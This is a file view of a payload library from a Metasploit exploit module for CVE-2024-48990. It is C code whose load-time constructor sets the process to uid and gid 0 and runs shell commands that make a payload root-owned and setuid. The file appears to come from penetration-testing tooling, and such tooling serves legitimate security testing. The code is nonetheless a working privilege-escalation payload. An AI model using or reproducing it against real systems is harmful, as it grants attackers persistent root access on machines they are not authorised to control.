Files
metasploit-gs/data/exploits/CVE-2024-48990/lib.metasm
T
2024-11-26 18:22:48 -05:00

27 lines
558 B
Plaintext

/*
// system call
#include <stdlib.h>
// setuid, setgid
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
setuid(0);
setgid(0);
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
system(shell);
}
*/
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);
void a(void) __attribute__((constructor));
void __attribute__((constructor)) a() {
setuid(0);
setgid(0);
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
}